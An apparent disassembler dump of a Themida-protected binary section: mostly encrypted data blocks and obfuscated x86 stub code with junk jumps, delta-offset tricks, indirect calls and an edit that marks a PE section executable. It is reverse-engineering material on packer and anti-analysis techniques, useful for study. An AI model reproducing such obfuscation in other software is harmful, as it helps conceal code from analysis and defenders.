		dd 32BC7294h, 9FD70E7Dh, 2613310Dh, 32565358h, 0FD4757B1h
		dd 43D1BE4Ch, 40A0429Bh, 0BB90810Dh, 53AEFAF6h,	0E2E97AD1h
		dd 6C491E0Fh, 0DB9F3CD4h, 3256AEBCh, 97FDBCE3h,	2CECE7EAh
		dd 639CC208h, 85598A72h, 0E3D71347h, 0F037FBBBh, 0B5595DA1h
		dd 3256AEABh, 3245BED1h, 6AF0ABB1h, 7EBA1A2Bh, 6A667E44h
		dd 3CCC54C5h, 2269AC26h, 0DB363C30h, 3256AEBDh,	0EAA1EA65h
		dd 0F614F6B5h, 7F58571h, 1B7A52D1h, 0F4371793h,	265EF334h
		dd 5AAE1AB7h, 9A41DDABh, 32565D58h, 0D142CBB1h,	0D3171B87h
		dd 0CD9099A1h, 267A1004h, 20BF43B7h, 52565DB1h,	32128A1Dh
		dd 9558BD17h, 98EB32A1h, 0B7997CADh, 0CCD3674Bh, 0CA5062C9h
		dd 22BF6A4Eh, 0C7565DB1h, 209827F8h, 3DA50E78h,	3AE822E8h
		dd 600DCF14h, 3256E358h, 0A889FBB1h, 3C5E3BEDh,	0B8DB3424h
		dd 344C2893h, 1EE31D1h,	0FDE9A431h, 543684D0h, 0B24CD308h
		dd 0DB37E46Bh, 3256BAB8h, 0A586F669h, 4F511D49h, 5286A86Eh
		dd 549C14BEh, 6837253Ah, 53D85CD1h, 0B474F73Ch,	3DA3BCABh
		dd 0DB5A1D06h, 3256AEA3h, 0EB52C308h, 0E8DAA9E3h, 0DEE61313h
		dd 0A4737C8Eh, 0B9AEE332h, 0B930DA69h, 32D6524Fh, 5356AEB1h
		dd 325AD4BEh, 0B059ABB1h, 3256D5B7h, 32566CBEh,	0DB0475B1h
		dd 3256BAA2h, 0EDDD4DD8h, 19AC5500h, 0F06DC855h, 52F44F61h
		dd 3D2C7F9Ah, 325E0380h
		dd 3A9F75B1h, 9E8E75F7h, 0CB0C930Dh, 54366DB2h,	0B9DEAD0Ah
		dd 0B959CA6Eh, 3256D5BDh, 3256ED58h, 0E2F548B1h, 87FEEA4Eh
		dd 20A7DF38h, 53AFA8A5h, 32565958h, 57B698B1h, 78AC6D28h
		dd 37337ED9h, 0F1435BE6h, 890F514Dh, 14h, 0FE9h, 0C89F3B00h
		dd 2F8E64B6h, 0DB5F335Eh, 28E1E94Fh, 108C0F52h,	0E9000000h
		dd 0Bh,	3F66E4C4h, 4057C720h, 0E840701Bh, 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 61AD3ACh
		cld
		pusha
		jnb	loc_5EAF5A
		movsx	ecx, bx


loc_5EAF5A:				; CODE XREF: Themida_:005EAF51j
		jns	loc_5EAF62
		push	esi
		pop	esi


loc_5EAF62:				; CODE XREF: Themida_:loc_5EAF5Aj
		popa
		push	edx
		jmp	loc_5EAF71
; ---------------------------------------------------------------------------
		pop	edi
		retf
; ---------------------------------------------------------------------------
		push	ebp
		mov	esp, 394290C1h


loc_5EAF71:				; CODE XREF: Themida_:005EAF64j
		mov	eax, [edx+61412F1h]
		jmp	loc_5EAF85
; ---------------------------------------------------------------------------
		dd 5ABC386Dh, 0E80BBA83h
; ---------------------------------------------------------------------------
		pop	esi


loc_5EAF85:				; CODE XREF: Themida_:005EAF77j
		mov	ecx, 41C64E6Dh
		jns	loc_5EAF91
		clc


loc_5EAF91:				; CODE XREF: Themida_:005EAF8Aj
		mul	ecx
		cmc
		jmp	loc_5EAFA1
; ---------------------------------------------------------------------------
		db 2Bh,	1Fh, 0EBh
		dd 0F7C48786h
		db 0D9h
; ---------------------------------------------------------------------------


loc_5EAFA1:				; CODE XREF: Themida_:005EAF94j
		pop	edx
		cmc
		add	eax, 3039h
		cmc
		and	eax, 7FFFFFFFh
		jmp	loc_5EAFBB
; ---------------------------------------------------------------------------
		db 73h
; ---------------------------------------------------------------------------
		mov	ebx, 15966F67h
		xor	bl, dl


loc_5EAFBB:				; CODE XREF: Themida_:005EAFAEj
		mov	[edx+61412F1h],	eax
		jno	loc_5EAFCF
		jno	loc_5EAFCF
		pusha
		popa


loc_5EAFCF:				; CODE XREF: Themida_:005EAFC1j
					; Themida_:005EAFC7j
		pop	edx
		clc
		pop	ecx
		jmp	locret_5EAFE9
; ---------------------------------------------------------------------------
		db 13h
		dd 4EAFC768h, 0AD3BE069h, 0BD22589Eh, 1AAA4B25h
		db 8Ah
; ---------------------------------------------------------------------------

locret_5EAFE9:				; CODE XREF: Themida_:005EAFD2j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5EAFFA
; ---------------------------------------------------------------------------
		mov	esp, ebp
		sub	dword ptr [edi+35C2FE6Ah], 0FFFFFFF0h
		mov	word ptr [eax],	fs


loc_5EAFFA:				; CODE XREF: Themida_:005EAFEAj
		push	ecx
		jmp	loc_5EB005
; ---------------------------------------------------------------------------
		dd 0FB549F37h
		db 7Fh
; ---------------------------------------------------------------------------


loc_5EB005:				; CODE XREF: Themida_:005EAFFBj
		push	edx
		pusha
		sbb	dl, 31h
		mov	cx, 50BFh
		popa
		call	$+5
		pop	edx
		sub	edx, 61AD478h
		jnp	loc_5EB022
		stc


loc_5EB022:				; CODE XREF: Themida_:005EB01Bj
		pusha
		pusha
		push	ecx
		pop	ebx
		mov	ecx, eax
		popa
		and	di, 41B2h
		popa
		jz	loc_5EB03B
		pusha
		mov	bx, 726Eh
		popa


loc_5EB03B:				; CODE XREF: Themida_:005EB02Fj
		mov	ecx, eax
		cmc
		call	near ptr dword_5EAECC+45h
		stc
		xor	edx, edx
		jg	loc_5EB04D
		clc


loc_5EB04D:				; CODE XREF: Themida_:005EB046j
		div	ecx
		jmp	loc_5EB05E
; ---------------------------------------------------------------------------
		dd 66048BB7h, 204A22DFh
; ---------------------------------------------------------------------------
		sbb	ch, ch


loc_5EB05E:				; CODE XREF: Themida_:005EB04Fj
		mov	eax, edx
		stc
		pop	edx
		jmp	loc_5EB072
; ---------------------------------------------------------------------------
		db 0B9h
		dd 62A959EFh, 9C76994Bh
		db 0E4h, 0FEh
; ---------------------------------------------------------------------------


loc_5EB072:				; CODE XREF: Themida_:005EB062j
		pop	ecx
		pusha
		jg	$+6
		pusha
		pusha
		popa
		popa
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5EB08C
; ---------------------------------------------------------------------------
		db 0E0h, 0FAh, 0A2h
; ---------------------------------------------------------------------------
		cmpsb
		movsb
		rol	dword ptr [edi], 1


loc_5EB08C:				; CODE XREF: Themida_:005EB080j
		mov	eax, eax
		pusha
		cmc
		call	near ptr sub_5EB0A4
		inc	eax
; ---------------------------------------------------------------------------
		dw 0CEC4h
		dd 4182A327h, 7A6574Dh,	5E2190F6h

; =============== S U B	R O U T	I N E =======================================



sub_5EB0A4	proc far		; CODE XREF: Themida_:005EB090p
		clc
		pop	esi
		popa
		mov	eax, eax
		pusha
		jnp	loc_5EB0B2
		push	esi
		pop	ecx


loc_5EB0B2:				; CODE XREF: sub_5EB0A4+6j
		mov	cx, dx
		popa
		lea	eax, [ebp+61A9BD3h]
		jmp	loc_5EB0CF
; ---------------------------------------------------------------------------
		db 5Ah,	4Eh, 2Eh
		dd 83A5230Eh, 9A56C3EFh
		db 9Dh,	0E0h, 2Fh
; ---------------------------------------------------------------------------


loc_5EB0CF:				; CODE XREF: sub_5EB0A4+18j
		call	eax
		jmp	loc_5EB0E0
; ---------------------------------------------------------------------------
		pop	esi
		fldenv	byte ptr [ebx+ebp*2+47h]
		retf	4BE1h
; ---------------------------------------------------------------------------
		push	ss
		dec	ebx


loc_5EB0E0:				; CODE XREF: sub_5EB0A4+2Dj
		mov	ax, cx
		pusha
		mov	bl, 74h
		mov	ebx, 6929F600h
		popa
		lea	eax, [ebp+61AD375h]
		jmp	loc_5EB107
; ---------------------------------------------------------------------------
		cmpsb
		jecxz	short loc_5EB142
		retf
; ---------------------------------------------------------------------------
		db 1Ch
		dd 7840FEF8h, 0FB67C770h
; ---------------------------------------------------------------------------
		add	dh, 26h


loc_5EB107:				; CODE XREF: sub_5EB0A4+4Ej
		mov	[ebp+614108Dh],	eax
		jb	loc_5EB114
		cmc


loc_5EB114:				; CODE XREF: sub_5EB0A4+69j
		lea	eax, [ebp+61AD45Eh]
		jmp	loc_5EB126
; ---------------------------------------------------------------------------
		mov	cl, 10h
		mov	ds:0E6733075h, eax


loc_5EB126:				; CODE XREF: sub_5EB0A4+76j
		mov	[ebp+61415F9h],	eax
		cmc
		mov	eax, 0
		jmp	loc_5EB148
; ---------------------------------------------------------------------------
		db 0E2h
		dd 9ACB3AFh, 12E86F39h
		db 53h,	0DCh
; ---------------------------------------------------------------------------


loc_5EB142:				; CODE XREF: sub_5EB0A4+54j
		cmp	dl, [eax+1Dh]
		pop	ebp
		and	[ecx], esp


loc_5EB148:				; CODE XREF: sub_5EB0A4+8Ej
		or	eax, eax
		jz	loc_5EB24F
		jb	loc_5EB15D
		ja	loc_5EB15D
		stc


loc_5EB15D:				; CODE XREF: sub_5EB0A4+ACj
					; sub_5EB0A4+B2j
		jo	loc_5EB164
		clc


loc_5EB164:				; CODE XREF: sub_5EB0A4:loc_5EB15Dj
		mov	byte ptr [ebp+6140849h], 56h
		clc
		push	0A9C530DFh
		clc
		push	dword ptr [ebp+6142C65h]
		cmc
		lea	eax, [ebp+61778FEh]
		jmp	loc_5EB195
; ---------------------------------------------------------------------------
		dd 1F2E012Ch, 0C73346B4h, 0EA8A67B0h, 0B6B3799Ah
		db 2Dh
; ---------------------------------------------------------------------------


loc_5EB195:				; CODE XREF: sub_5EB0A4+DBj
		jmp	loc_5EB1AD
; ---------------------------------------------------------------------------
		retf	0AE62h
; ---------------------------------------------------------------------------
		db 69h,	0, 15h
		dd 0C96785FAh, 92FC9744h, 7BBD70EEh
		db 0B0h
; ---------------------------------------------------------------------------


loc_5EB1AD:				; CODE XREF: sub_5EB0A4:loc_5EB195j
		call	eax
		jmp	loc_5EB1C1
; ---------------------------------------------------------------------------
		dd 0C59A864h, 96B35909h, 0D96E8B71h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_5EB1C1:				; CODE XREF: sub_5EB0A4+10Bj
		push	eax
		pusha
		mov	di, 22DCh
		popa
		lea	ecx, [ebp+6142641h]
		cmc
		push	ecx
		jmp	loc_5EB1DC
; ---------------------------------------------------------------------------
		mov	ebx, 0C68C6E94h
		or	dh, ah


loc_5EB1DC:				; CODE XREF: sub_5EB0A4+12Cj
		push	4
		jmp	loc_5EB1F5
; ---------------------------------------------------------------------------
		db 7Ah
		dd 3C8B8F9Eh, 0A456A54Ch, 0A9147601h, 860FFA17h
		db 0B3h
; ---------------------------------------------------------------------------


loc_5EB1F5:				; CODE XREF: sub_5EB0A4+13Aj
		push	1000h
		jl	loc_5EB201
		cld


loc_5EB201:				; CODE XREF: sub_5EB0A4+156j
		push	dword ptr [ebp+61423B5h]
		jbe	loc_5EB219
		jo	loc_5EB219
		jle	$+6


loc_5EB219:				; CODE XREF: sub_5EB0A4+163j
					; sub_5EB0A4+169j
		call	eax
		jo	loc_5EB222
		cld


loc_5EB222:				; CODE XREF: sub_5EB0A4+177j
		mov	edi, [ebp+61423B5h]
		pusha
		cld
		jmp	loc_5EB235
; ---------------------------------------------------------------------------
		add	ch, [ecx-14545E5Bh]


loc_5EB235:				; CODE XREF: sub_5EB0A4+186j
		popa
		add	edi, [edi+3Ch]
		cmc
		add	edi, 0F8h
		clc
		mov	dword ptr [edi+24h], 60000020h
		pusha
		mov	ch, dh
		and	ah, 0Fh
		popa


loc_5EB24F:				; CODE XREF: sub_5EB0A4+A6j
		lea	ebx, [ebp+614122Dh]
		jmp	loc_5EB264
; ---------------------------------------------------------------------------
		dw 634Fh
		dd 57ED02CDh, 4C432C46h
; ---------------------------------------------------------------------------


loc_5EB264:				; CODE XREF: sub_5EB0A4+1B1j
		mov	eax, [ebx]
		ja	loc_5EB280
		jmp	loc_5EB280
; ---------------------------------------------------------------------------
		db 63h,	0BEh, 22h
		dd 1192EF3h, 7FEAD191h,	1C49EE3Dh
; ---------------------------------------------------------------------------


loc_5EB280:				; CODE XREF: sub_5EB0A4+1C2j
					; sub_5EB0A4+1C8j
		or	eax, eax
		jz	loc_5EB2C0
		jo	loc_5EB2A7
		jz	loc_5EB2A7
		jmp	loc_5EB2A7
; ---------------------------------------------------------------------------
		db 0Fh,	1Fh, 6Fh
		dd 0D75696BEh, 416B5ED7h
		db 94h,	0ACh, 78h
; ---------------------------------------------------------------------------


loc_5EB2A7:				; CODE XREF: sub_5EB0A4+1E4j
					; sub_5EB0A4+1EAj ...
		mov	eax, [eax]
		stc
		mov	[ebx+4], eax
		jmp	loc_5EB2C0
; ---------------------------------------------------------------------------
		dw 346Ch
; ---------------------------------------------------------------------------
		sbb	byte ptr [ecx+ebp-2], 7
		fisubr	word ptr [ecx+21E7549h]
		pusha


loc_5EB2C0:				; CODE XREF: sub_5EB0A4+1DEj
					; sub_5EB0A4+209j
		mov	ecx, 234CF6h
		lea	ecx, [ebp+61AD866h]
		push	0
		push	eax
		call	sub_5EB2D6
		and	[eax-3Dh], bl
sub_5EB0A4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5EB2D6	proc near		; CODE XREF: sub_5EB0A4+22Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5EB2D6	endp

; ---------------------------------------------------------------------------
		dw 0BC67h
; ---------------------------------------------------------------------------
		jnp	short near ptr loc_5EB2F9+2
		fxam
		cmp	[ecx+1402458Dh], ecx
		push	es
		jge	loc_5EB2FF


loc_5EB2F9:				; CODE XREF: Themida_:005EB2E8j
		mov	[ebp+6141D2Dh],	eax


loc_5EB2FF:				; CODE XREF: Themida_:005EB2F3j
		sbb	di, 23ABh
		mov	[ebp+6142B69h],	ecx
		push	0
		push	ebp
		call	sub_5EB315
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EB315	proc near		; CODE XREF: Themida_:005EB30Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5EB315	endp

; ---------------------------------------------------------------------------
		db 0FAh, 0D8h, 71h
; ---------------------------------------------------------------------------
		xor	eax, 0F55140EDh
		mov	dword ptr [ebp+6141055h], 632Ch
		push	0
		push	ecx
		call	sub_5EB342
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EB342	proc near		; CODE XREF: Themida_:005EB33Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5EB342	endp

; ---------------------------------------------------------------------------
		dw 4360h
		dd 0B1DA15E0h, 8DBD89E8h, 8B061402h, 141B2995h,	3D85C706h
		dd 61401h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C6A6C356h, 57D8C07Ch,	8B8D970Bh
		dd 14310595h, 1DB5FF06h, 6A06140Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 3753C351h
		dd 4023FB68h, 8E1285F7h, 10999D23h, 95FF0614h, 6140BD9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 17C35545h
		dd 57CBF1F4h, 0E4830A4h, 45958BD5h, 6A061403h, 7195FF00h
		dd 8B061429h, 573EEBC0h, 95557A8Ah, 0DB09CE8Eh,	9C3D35C1h
		dd 4878E8D5h, 40120F46h, 4730E94Ch, 0E8FA6679h,	0C83B9DF7h
		dd 99EA43E2h, 0CF012FB7h, 0CBCD02EDh, 88D31FE3h, 1BB2BE73h
		dd 51C8209Ah, 5A9A55B1h, 6E871h, 165C0000h, 69326226h
		dd 87D9509h, 81580614h,	198CAAE2h, 0BEC08160h, 8B000065h
		dd 142975B5h, 0BB06h, 958B0000h, 6140095h, 0E9183C8Bh
		dd 7, 7513681Fh, 813E9D20h, 0D74A0AC7h,	0ED17BA07h, 0C7813C0Dh
		dd 6E8CDEC9h, 81C88B66h, 0D19561C7h, 3C89F904h,	0D5958918h
		dd 80061425h, 0EB83AEF5h, 0CAB70F04h, 9AF4FB81h, 850FFFFFh
		dd 14h,	63D98056h, 3AE95Ah, 0A5880000h,	95900A9Ah, 0B729771Bh
		dd 14E8h, 0EF406B00h, 0A4077446h, 0B56504A0h, 0FBF09A4Bh
		dd 0A81F72EBh, 818D898Ah, 5A06142Eh, 0FFFF7FE9h, 74EA44FFh
		dd 2F2C520Bh, 9410ACECh, 5E8h, 6CA52200h, 0D781D410h, 681A260h
		dd 0C181FC59h, 6F1Ah, 312DBD8Bh, 92680614h, 0F00001Bh
		dd 1F8Ch, 13E800h, 0EBED0000h, 638B77Ch, 2D7BB8D0h, 6D95AAECh
		dd 9D0C0DEFh, 0BFE381F2h, 5B61B8BEh, 0BE958h, 4FB90000h
		dd 0FCDF20E7h, 0DC06AC1Ah, 66318B7Fh, 81F181BAh, 0B7DE25F6h
		dd 8172B35Fh, 685ED6C6h, 0EBEE813Fh, 0B01C610h,	142C699Dh
		dd 0B5895606h, 6140E21h, 0E981018Fh, 7B5D9262h,	5EC181F5h
		dd 517B5D92h, 7658529h,	815F0614h, 1E8h, 25850F00h, 0E9000000h
		dd 11h,	5914E67Dh, 9F852250h, 89D57F92h, 0EBF81F82h, 1DE959h
		dd 0CF830000h, 0F9A6E1BFh, 565F9860h, 0E9D3BF0Fh, 0FFFFFF89h
		dd 1900BD9Fh, 34F8C2D3h, 0E9136C6Eh, 27h, 740CEBC2h, 8 dup(0)
		dd 0E9000000h, 576h, 8084F717h,	73B7E6E7h, 58DCD9F4h, 46CAC1CFh
		dd 33F7AAD9h, 0F3E84A8h, 0F4118E92h, 0DEEA75B9h, 0BEC05FA3h
		dd 0D32E4BCFh, 0EA48E752h, 0EDD77C55h, 6366567h, 4EFD3A95h
		dd 0C553F092h, 927AC956h, 95F953F0h, 6EDD5A71h,	0E553F092h
		dd 0CDFC9361h, 0B1D34CD0h, 8BBDC2FAh, 576DFB10h, 57F364CEh
		dd 3B1697A4h, 0B853F0FFh, 116E5ED4h, 0C98DBDF0h, 0C6F8076Eh
		dd 0B8D453D7h, 928D0806h, 12163A77h, 0E3E7995h,	0B685229Dh
		dd 0CD53F0FFh, 0FA1E93B2h, 2F666338h, 3259B81Fh, 4A47F713h
		dd 7CEB2F53h, 0FA3B534Ah, 53F0FC40h, 7F7B927Dh,	8594FAB1h
		dd 6DCDh, 5F025200h, 3280EBBh, 67818B89h, 0A7063665h, 53F0929Ah
		dd 0FF0F8A86h, 1C2C6160h, 42C82F68h, 63BED5BAh,	3B4DEF1Ch
		dd 0A8CC4840h, 8C58866Ah, 1668594h, 0B2000000h,	7376667h
		dd 25564778h, 77922426h, 6286023Ah, 3D4B1490h, 0A5123646h
		dd 9F0E3F4Eh, 6799E09Bh, 0BECEBDCFh, 9506365Ah,	0F0923908h
		dd 0B2D6BA53h, 0E299AB60h, 6867D41Eh, 0B315E2C7h, 0ACD07089h
		dd 0CBC2C39Ch, 0E4A1ACB3h, 77E8BD4h, 205D68F7h,	0EF48AC28h
		dd 53CC8288h, 8B83FA0Ch, 0BAF3100Fh, 6F0C0682h,	0D7CAF908h
		dd 0B2D453h, 0B96E7DFEh, 40D899CBh, 9300385Ch, 9035BBC5h
		dd 0BEA6FD03h, 1BB16758h, 0E9A4A127h, 0C35175D1h, 7784010Ch
		dd 6DA7D6E8h, 0EA01CC51h, 94DA52E8h, 914C85h, 67680000h
		dd 0C4C1CE68h, 0BCD7A8A0h, 97B6C9C1h, 86AAE5E1h, 0A9980576h
		dd 2A53F092h, 0D4C7F926h, 0E037E0A4h, 0D0E8A3A1h, 3EC5074h
		dd 0F3AEDDECh, 372F88D8h, 4CB51F8Ah, 0A4B3B1DAh, 9B99A240h
		dd 4C4140DFh, 6E25233Ch, 7D02015Eh, 9969C7C0h, 94A4C89Ch
		dd 0CBC3BACBh, 6897FE1Dh, 27022657h, 6B81D138h,	6B8594D4h
		dd 4Fh,	0C7686741h, 87E6F74Dh, 83B8DCB3h, 0AA49710h, 0A03F53F0h
		dd 74D0E8A5h, 9DE2C250h, 52063671h, 90BFCE25h, 8BDB191Dh
		dd 58DAD3F4h, 0F30B8283h, 0F09288B2h, 0E29FAA53h, 3B7695EAh
		dd 0D1385703h, 0C72EC149h, 948C658Bh, 17185h, 8BBF0000h
		dd 92AC9F18h, 232753F0h, 920F3AD1h, 5AE3E57Ah, 0A56E6ECFh
		dd 0BECEF2A1h, 0D3EBA6A1h, 0A027B8Ch, 808AE14Eh, 2A59B09Fh
		dd 0E69E621Fh, 27F8A07h, 516A8E0Ah, 0DC9D96D4h,	0D0EB6F49h
		dd 0F4047789h, 0B1228290h, 0E0AACBA3h, 4CC6DA1Dh, 0FA3E6D9Fh
		dd 28205B6Dh, 0E561B489h, 3E779455h, 5B56710Eh,	0B1D87723h
		dd 137A9569h, 48434118h, 0B8F315CAh, 0A2D9EB74h, 0F8B3D5AAh
		dd 0E393BFC0h, 7787ABE2h, 97A7D6E8h, 77BBD261h,	809BF201h
		dd 61E5C2F0h, 21F38D20h, 0E125586Ah, 28DEDAAAh,	0B6A5D77Dh
		dd 8B4E9C7Ch, 4F688BAAh, 44000001h, 0A30C6180h,	53F09290h
		dd 0F00B2F13h, 0DC90B7B7h, 3444C849h, 9E62192Bh, 5A77FF01h
		dd 0BC8F2823h, 3755E491h, 401F2F53h, 893F4F3Eh,	0E2E4234Ah
		dd 61C090ABh, 0A15FC0E1h, 79AA520Ah, 0D4F83729h, 9AE19A5Eh
		dd 4619316Ch, 0DB3F4F4Ah, 4F9D7DB7h, 0AF8BA8E8h, 0C240F33Ch
		dd 84C355E4h, 97F30B82h, 54C6A173h, 0D2000000h,	0AF086580h
		dd 53F0929Ch, 966CC117h, 87B51C5h, 3AFD32E4h, 35FF6CC8h
		dd 0EEBDFA11h, 65D3F043h, 439AA9F6h, 3519D3F0h,	0F38AF911h
		dd 5954DED5h, 0D3F043EAh, 38F31AC5h, 0A86A2521h, 708BF114h
		dd 6DA7DAE9h, 4306D552h, 79DD53F0h, 9467B5h, 8B8D0000h
		dd 5AD8D5F4h, 20E8362h,	0EF137787h, 0A9F661DCh,	53F0929Ah
		dd 0FEFF3519h, 49DC6A34h, 2E3149CDh, 29D611Ch, 3C7D8D00h
		dd 55E49B00h, 98A7CE09h, 0A9043766h, 0E49B3D0Ch, 0B9D2B655h
		dd 0E49BCD7Ch, 30C24655h, 9BE10080h, 5776F560h,	0C5C0CD5Ah
		dd 0D2C351B5h, 4FCFB0A7h, 0DFA0D8BCh, 0B1CEFEADh, 92ED1D90h
		dd 580C3C71h, 2D52D83Fh, 6E7FA7CEh, 3544E11Ah, 0CE45F55Ah
		dd 0B723314Ah, 1ADE14DEh, 2E5D151Fh, 0DC8A335Fh, 0C26FFF25h
		dd 9EFA1236h, 61809294h, 2875E01Bh, 53F09219h, 0DF0CF438h
		dd 77B53DCh, 5BB6F103h,	848E0704h, 0DBDDFA09h, 0E6157949h
		dd 0E398C06Eh, 57D05310h, 55EB36E4h, 3DF71B7Fh,	0D1CCFE81h
		dd 0FDB0D24Dh, 0CA4A6CCDh, 8473E3C5h, 712C5E6Dh, 9D1032ADh
		dd 0B9F4126Dh, 740B0681h, 9D65C59h, 11A1A3E2h, 524947EFh
		dd 82BADE3Ah, 811EE206h, 2EFC0C7Fh, 8, 0D8F48B44h, 415357DDh
		dd 4346767h, 3A52497Bh,	5E6E2925h, 71890401h, 0AAA2DFEEh
		dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 0E189511Fh
		dd 4C181h, 0BF570000h, 4, 875FF929h, 685C240Ch,	630Fh
		dd 53242C89h, 0C381E389h, 4, 4EB81h, 1C870000h,	1C895C24h
		dd 14496824h, 14890000h, 0DA70BA24h, 0D589061Ah, 28BD685Ah
		dd 24890000h, 24048124h, 4, 0DFB8505Bh,	355E035Ah, 55E159E7h
		dd 0E2DE50Dh, 16CB257Ch, 0D8F70C8Ch, 73F93F35h,	89D801F3h
		dd 34FF5828h, 0C4835B24h, 2434FF04h, 4C4815Dh, 0E9000000h
		dd 0FFF9A108h, 6FD0733Ah, 4F8F8299h, 4410FCDDh,	4DB873ECh
		dd 3061ADFh, 27E0FFC5h,	0F564ED1Eh, 7D000CBBh, 757AAF85h
		dd 0EA683AE5h, 0FB6E2E92h, 2557C24Ch, 0F968BA6Fh, 0A5299471h
		dd 712EB821h, 78161379h, 8B16EE94h, 75C502Ah, 0C55278FDh
		dd 4B3C4C2Bh, 8A662923h, 1661ABB0h, 7429EB81h, 0D7646BCFh
		dd 55169EC2h, 60680D0Bh, 0A40F3D78h, 9B19B2FDh,	8A4A583Eh
		dd 0C66A15A0h, 0E8520351h, 333F5723h, 0E93913C2h, 2Bh
		dd 385B356Ch, 9	dup(0)
		dd 0E9000000h, 578h, 60A4D7F7h,	53D7C6C7h, 38FCB9D4h, 26EAA1AFh
		dd 13178AB9h, 0EF1EA488h, 0D4F16EB2h, 0BECA55D9h, 9EA03FC3h
		dd 0F34E2BEFh, 0EA7287B2h, 74F71C55h, 5AD8D3F5h, 366567D0h
		dd 0C8DF9506h, 0F1267DD3h, 0ADCD0E13h, 0B60ED77Bh, 0EDA0AF7Ch
		dd 80025229h, 0F0D32BC6h, 0B1D3888Ah, 0C956C1FAh, 53F04C7Ah
		dd 2F9F95F9h, 0E7A2ADBCh, 0EAA173D7h, 0CA95A5D8h, 90B4C4B9h
		dd 8FB1D027h, 838F181Ch, 4944401Fh, 0A594D531h,	3E53F04Ch
		dd 0B584215Ah, 0CE53F04Ch, 45E2264Ah, 1F9AB549h, 37476BEFh
		dd 0FE8785C4h, 0B5C6CD6Fh, 3E4E7222h, 868358DAh, 0A3DBD2F4h
		dd 8C0B0327h, 0B0746ADh, 0E7E47B90h, 0F83A9EAEh, 0EE9DAF38h
		dd 781887DDh, 1EE6A2BDh, 3C98B0EDh, 39AA1A18h, 536B2622h
		dd 8EB03DF7h, 0B353F02Eh, 504B7900h, 8956DC38h,	48CA1062h
		dd 55148595h, 70C36C36h, 0F353F022h, 0F7536B8Fh, 52423Dh
		dd 676E0000h, 0A7063665h, 53F0929Ah, 539FF699h,	85948C8Dh
		dd 0D29h, 242F3E00h, 0C3C7192h,	0F0546488h, 0F48B3822h
		dd 6F2623D5h, 5DD7334Bh, 8007D8Eh, 17275677h, 4B433A48h
		dd 0D649A00Fh, 0B037A97h, 0B5D6858Fh, 99AB34F8h, 7492E9E2h
		dd 0F53FFB39h, 0DDD8F48Bh, 34EB29ADh, 1C639815h, 407CB6EFh
		dd 6C9F0E3Fh, 98B0EB1Dh, 92BF8A2Bh, 503453F0h, 0A39E1F2Ch
		dd 2053F092h, 89D6D65Ch, 6BF40477h, 0E117275Eh,	81F73B52h
		dd 95001B72h, 0F0923908h, 0DB91853h, 0AC437B18h, 9DAB74D8h
		dd 0A072D6E6h, 5DA1DCEBh, 0BDCDC0C2h, 0F211A7A2h, 83C0FA8h
		dd 0D3B753F0h, 0EC738BAFh, 0D7A8A0DDh, 2A59C6B5h, 54034777h
		dd 6DE8F53Dh, 2536F406h, 6AA08595h, 0C000000h, 0AC9F188Bh
		dd 2753F092h, 0B3AD123h, 0EE196696h, 10FF9BB3h,	252726F9h
		dd 0F707828Dh, 0F6A56F93h, 0D160CDD7h, 5253F092h, 0D946CAEEh
		dd 85C4F7AAh, 95F10984h, 32502F9Fh, 48D5407Bh, 53F092F9h
		dd 0A01C167Ah, 809BF21Dh, 0A7D7CAF9h, 0F309D123h, 0E385948Ah
		dd 39h,	356867C9h, 534E7A05h, 0A9C00F3Bh, 0F2366B9Ah, 37666720h
		dd 92A4A607h, 0F69953F0h, 94118C9Fh, 53F092A5h,	1892B19Ch
		dd 0FACE4795h, 2EFC9C96h, 488594FAh, 1,	9F188B64h, 53F092ACh
		dd 9274C760h, 8B8F53F0h, 0AC15337h, 0A04D79FFh,	0CCEC05C5h
		dd 0C1F91D26h, 0BA292145h, 251CA5A3h, 697494FFh, 0DC7381A5h
		dd 84DBF3AAh, 6FF00885h, 0B5112964h, 16265B6Ah,	0A46E8572h
		dd 0E3D5483h, 2828603h,	396695E3h, 49DC24F9h, 99E6167Ah
		dd 0E39C667h, 908B771Ch, 0D3FA86Ch, 72CF6E9Eh, 7555E436h
		dd 56454706h, 8B50A226h, 68232564h, 3B64D7A4h, 55E43608h
		dd 54517C8Bh, 76BCA024h, 42E3A7D9h, 55E436F7h, 0A39E1F0Ch
		dd 2055E436h, 0E414385Ch, 512CE177h, 0E1C5B605h, 7D8D0806h
		dd 42441B19h, 202C334Bh, 0F80A5565h, 34437585h,	0D46355DDh
		dd 17C8EBDh, 788B51FDh,	302B8BA9h, 81000001h, 0E01B6180h
		dd 0AE9D1A75h, 2553F092h, 64E2D321h, 9D49DC90h,	0CCFE81B9h
		dd 263E4DD1h, 0EB9B3CB8h, 2BE032F3h, 0F96A6219h, 0BD57186Bh
		dd 2A2167E6h, 0E41CBE8Dh, 0C3513555h, 8B83FA0Ch, 0A8D73E5Dh
		dd 0B5F01C96h, 6FFE8D91h, 6EA2863h, 8BA91AD8h, 4FE6h, 9F188B00h
		dd 55E410ACh, 6FD12327h, 0EC1F6580h, 0F0929043h, 0DFEF53D3h
		dd 0F092E35Eh, 0EC03CCD3h, 0AAA1AF3Ah, 0DFF7293Fh, 53475Ch
		dd 9AD083F2h, 155453F0h, 0B8FBFFAh, 4E67F909h, 0D15A67EDh
